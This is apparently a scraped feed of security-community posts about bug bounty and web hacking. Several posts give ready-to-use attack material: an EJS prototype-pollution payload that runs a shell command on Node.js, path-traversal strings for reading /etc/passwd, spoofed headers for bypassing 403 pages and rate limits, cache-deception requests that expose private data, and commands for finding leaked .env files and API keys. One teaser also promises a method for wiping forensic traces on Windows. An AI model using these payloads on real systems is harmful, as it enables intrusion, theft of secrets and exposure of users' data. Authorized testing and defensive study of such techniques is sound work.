midnight expl0it

OSCP | OSWP | PNPT | CEH certified.

| Hacker |

[ꜱᴀʟᴀʜ @s4u_2]

اغلق التلفاز😅😅😅

[Brute @BRuteLogic]

Node.js RCE via EJS
(<v6.0.0-alpha)

Unsafe merge - Prototype Pollution leading to RCE via template rendering.

{"__proto__":{"client":true,"escapeFunction":"function(){return process.mainModule.require('child_process').spawnSync('id').stdout;};//"}}

#node #rce #bypass

[KNOXSS @KN0X55]

It's ridiculous how often this works! 😂
#XSS #KNOXSS @BRuteLogic 🔥🔓

[Brute @BRuteLogic]

Path Traversal Bypasses

Null Byte Injection
../../../etc/./passwd%00.png

Stripped Dot-Dot-Slash
..././..././..././e../tc..//pas../swd

Multi-Stage Decoding
..%2%35%32F..%2%35%32F..%2%35%32Fetc%2%35%32F/passwd

Truncation Appending (4096 bytes)
../../../etc/./passwd/././././././

[Nitin Gavhane @NitinGavhane_]

SQL Injection: The Bug That Still Pays in 2026

SQLi isn't dead. It's hiding behind APIs, forgotten endpoints, and poorly written database queries.

7 things every bug bounty hunter should test:

1. Login forms – Authentication bypass
2. Search parameters – Error-based SQLi
3. Numeric IDs – Boolean-based blind SQLi
4. Filters & sorting – Dynamic query injection
5. API endpoints – JSON parameter injection
6. Headers & cookies – Hidden injection points
7. Time-based testing – Detect blind SQLi

Pro tip: Don't just test id=1. Understand how the application builds SQL queries.

Tools: Burp Suite + SQLMap

One vulnerable parameter can expose an entire database.

Test only authorized targets. Follow responsible disclosure.

#BugBounty #SQLInjection #WebSecurity #CyberSecurity

[Ayzaa @Ayzacoder]

Windows keeps a thumbnail of every photo you've ever deleted.

It sits in a file called thumbcache_256.db, and forensic examiners pull it routinely. There are 15 more stores like it.

Here's how to find them and wipe them:

[Caleb @CalebSol]

This is what your soul needs, not Dubai.

[𝐤𝐣𝐮𝐥𝐢𝐮𝐬 @ethical_h4ck3r_]

.env leaks

How to find : /FUZZ all Endpoints to find leaks. 🔥

Wordlist: https://t.co/E8NMMgwjdn

Tool: https://t.co/OKpyf9qUYD

Command: ffuf -u https://target[.]com/FUZZ -w wordlist.txt -mc all -e .env, .bak, .db, .7z, .zip, .md, .txt, .tar.gz

#bugbountytips #bugbountytip

[NaZaniin @n0aziXss]

403 Headers (Part 3)

X-Forwarded-Port: 4443
X-Forwarded-Port: 80
X-Forwarded-Port: 8080
X-Forwarded-Port: 8443
X-Forwarded-Scheme: http
X-Forwarded-Scheme: https
X-Forwarded-Server: 127.0.0.1
X-Forwarded: 127.0.0.1
X-Forwarder-For: 127.0.0.1
X-Host: 127.0.0.1

[Bug bounty wizard @bugbountywizard]

From Admin to Owner: How I Discovered a Critical Full Organization Takeover — by Ankit Rathva

https://t.co/kBR7EYHuqQ

Join us on Telegram:
https://t.co/rpGHV3Yw7y

#bugbounty #bugbountytips #bugbountytip

[Ryx @PadhiyarRushi]

cPanel mail privileges → SQLi → arbitrary file write → root RCE!!!

CVE-2026-67401 is the kind of privilege-boundary bug defenders should pay attention to.

An authenticated cPanel account with mail privileges can abuse EmailTrack to create arbitrary files, ultimately leading to code execution as root.

Affected: all supported cPanel/WHM versions.

Fixed builds:
• 11.110.0.143
• 11.134.0.55
• 11.136.0.39
• 11.138.0.4
• WP2 11.138.1.9

A public lab repo now includes detection and the exploitation chain!

https://t.co/VBImpOCtVa

#Cybersecurity #Infosec #AppSec #RCE #cPanel

[Parsa nikfar @onthegrine]

I discovered a new technique to bypass Rate Limits 👀

X-Forwarded-For: 127.0.0.1 -&gt;Bypassed, then rate limited again...

X-Forwarded-For: 127.0.0.2 -&gt; Bypassed.

Just keep changing the IP and continue :)

[Brut 🇮🇳 @wtf_yodhha]

🚨 CVE-2026-87902 - WordPress Core - PHP Template Path Traversal

✅https://t.co/GRyPuU7GHn
✅Nuclei Template - https://t.co/gApZRwrmyd

#bugbounty #wordpress

[Dhiyaneshwaran @DhiyaneshDK]

🚨 CVE-2026-87902 - WordPress Core - PHP Template Path Traversal

Nuclei Template - https://t.co/so2lv9A7Bb

Reference: https://t.co/jgJp9kiqFC

#hackwithautomation #bugbounty #wordpress

[Florian Hansemann @CyberWarship]

''No Username. No Password. Just a Header — A $3,000 Authentication Bypass''

#infosec #pentest #redteam #blueteam
https://t.co/RscC9McSdw

[HackingHub @hackinghub_io]

Web cache deception tricks 🪄

GET /api/me → returns PII

Run these to trick the CDN into caching a sensitive endpoint:
🟥 GET /api/me;.css
🟥 GET /api/me/foo.css
🟥 GET /static/..%2fapi/me
🟥 GET /api/me%00.css
🟥 GET /profile%2f%2e%2e%2fstatic

Your ideal scenario: the origin ignores the trailing junk (; param, extra path segment, encoded traversal) and returns private data anyway, but the CDN only sees the .css suffix and caches it as static.

NOTE: Also try other delimiters, file extensions, and static directories.

[Nicolas Krassas @Dinosn]

vCenter pre-auth RCE: CVE-2026-59309/59310 https://t.co/dzmWgkUPx4

[OccupytheWeb @three_cube]

IP Camera Hacking: Using pwneye to Compromise IP Cameras

https://t.co/4WIobzTTod

[𝐤𝐣𝐮𝐥𝐢𝐮𝐬 @ethical_h4ck3r_]

Katana

Finds hidden API, .js files, admin paths and parameters, which are often poorly secured. It's pretty common to see APIs that are not auth gated.

==&gt; katana -u https://target[.]com -d 5 -c 10 -o saveR.txt
#bugbountytips #bugbountytip #bugbounty #hackerone

[Intigriti @intigriti]

Did you know that some exposed Google Maps API keys also have access to Gemini Models? 👀

geminiHunter by @devploit is a new tool that finds and validates exposed Google Gemini API keys across web assets, source maps, Wayback snapshots, and even Android APKs. It deduplicates findings, checks if keys are actually valid, and even attempts bypass variations on restricted ones! 🤠

Check it out! 👇
https://t.co/r38vApfDei